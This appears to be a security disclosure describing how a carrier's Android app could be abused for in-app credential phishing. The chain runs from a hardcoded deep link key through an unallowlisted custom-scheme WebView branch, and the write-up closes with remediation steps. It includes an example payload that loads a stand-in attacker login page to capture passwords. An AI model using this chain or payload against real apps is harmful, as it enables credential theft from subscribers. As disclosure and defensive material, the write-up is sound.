Carrier App AutoVerify + WebView Deep Link Credential Phishing
The Risk
An attacker could send any subscriber a link that looked like it came from the carrier's official secure domain. One tap opened the carrier's real app and showed a sign-in page that was indistinguishable from the genuine one, wrapped in the app's own header and footer. There was no address bar to inspect. Any subscriber typing their username and password handed them over in plain text. The setup needed no special permissions, no app install, and no fake domain.
The Vulnerability
Five primitives chained together. Each is unremarkable on its own. Combined, they produce in-app credential phishing under the carrier's own verified domain. This is distinct from a generic deep-link service abuse: the chain only works because the app is the sole verified handler for a sensitive carrier domain and because a custom-scheme branch of the deep link router skips the host allowlist that protects the parallel HTTPS branch.
1. Hardcoded production deep link service key in the APK
The Android app contained a production live key for its deep link service hardcoded in compiled code. Anyone extracting it could mint links under the carrier's official secure domain via the service's API, with attacker-chosen payload values.
2. AutoVerified handoff to a single app
The carrier's secure domain delegated handle_all_urls exclusively to the carrier app via assetlinks.json. Android opened links on this domain in the app with no browser chooser and no URL bar.
3. deep link service SDK feeds attacker payload into the deep link router
The SDK resolved the short link and handed the attacker-controlled payload to the app's deep link helper.
4. Custom-scheme WebView branch with no host allowlist
The deep link helper routed carrier://webview?url=<URL> straight to WebView.loadUrl() with JavaScript on. The app maintained a strict 14-host allowlist for the parallel https:// deep link branch, but the carrier://webview path did not pass through it.
5. Native chrome wrapping the WebView
The WebView was rendered inside the app's native title bar, footer, and back/close buttons. No URL bar was ever shown. Attacker HTML rendered inside the carrier's branded chrome, visually identical to a legitimate sign-in screen.
The Attack
- The attacker extracts the hardcoded deep link service key from the app.
- Using the service's API, they mint a short link under the carrier's official secure domain. The link's payload is set to
carrier://webview?url=https://attacker.example/login. - The link is delivered via SMS, email, messaging app, or web page. In rich-preview surfaces it renders with the carrier's logo and the secure domain as the only visible host.
- The victim taps the link. Android's autoVerified handoff opens the carrier app directly, with no browser chooser and no URL bar. After a short resolve, a pixel-perfect sign-in form appears inside the app's native chrome.
- The victim types their username and password and taps sign in. The screen transitions to a spinner.
- The attacker's server logs the plaintext credentials. The user-agent and JavaScript bridges in the request prove the render happened inside the real carrier app process, not a browser.
What differentiates this from a generic deep link service abuse
This is not just hardcoded keys plus phishing links. The killer step is the autoVerified handoff to a single app that is the sole handler of a sensitive carrier domain. Even a careful subscriber who inspects the link sees only the carrier's official secure domain. Once the app opens, the URL is invisible. The WebView branch's missing allowlist then loads any URL inside the app's own UI.
The Impact
Confirmed in testing on a stock Android device with the production app installed:
- Plaintext capture of carrier ID and password typed by the user.
- Render confirmed inside the carrier app process via the user-agent string carrying the application version code.
- JavaScript bridges
Android, store-bridge, and analytics objects all available to attacker JavaScript, proving full bridge access. - Session-replay cookies captured, providing a deep link into the carrier's session-replay tooling for the authenticated user.
- No "Unknown Website" warning. No URL bar. The visible host throughout the flow is the carrier's official secure domain.
Remediation
- Remove the hardcoded deep link service key from the app. Fetch the key per session from a server-authenticated endpoint, or sign payloads server-side and reject unsigned payloads in the app.
- Apply the existing 14-host allowlist to the
carrier://webview,carrier://inAppBrowser, andcarrier://browserbranches in the deep link helper. The allowlist already exists for the HTTPS branch. - Filter every payload navigation key, not just the most obvious one. Multiple alternative keys were confirmed to drive the same chain.
- Gate every
@JavascriptInterfacemethod on the loaded URL being a first-party host before the method runs. - Set a strict Content-Security-Policy on the WebView so attacker JavaScript cannot execute even if a non-allowlisted URL ever loads.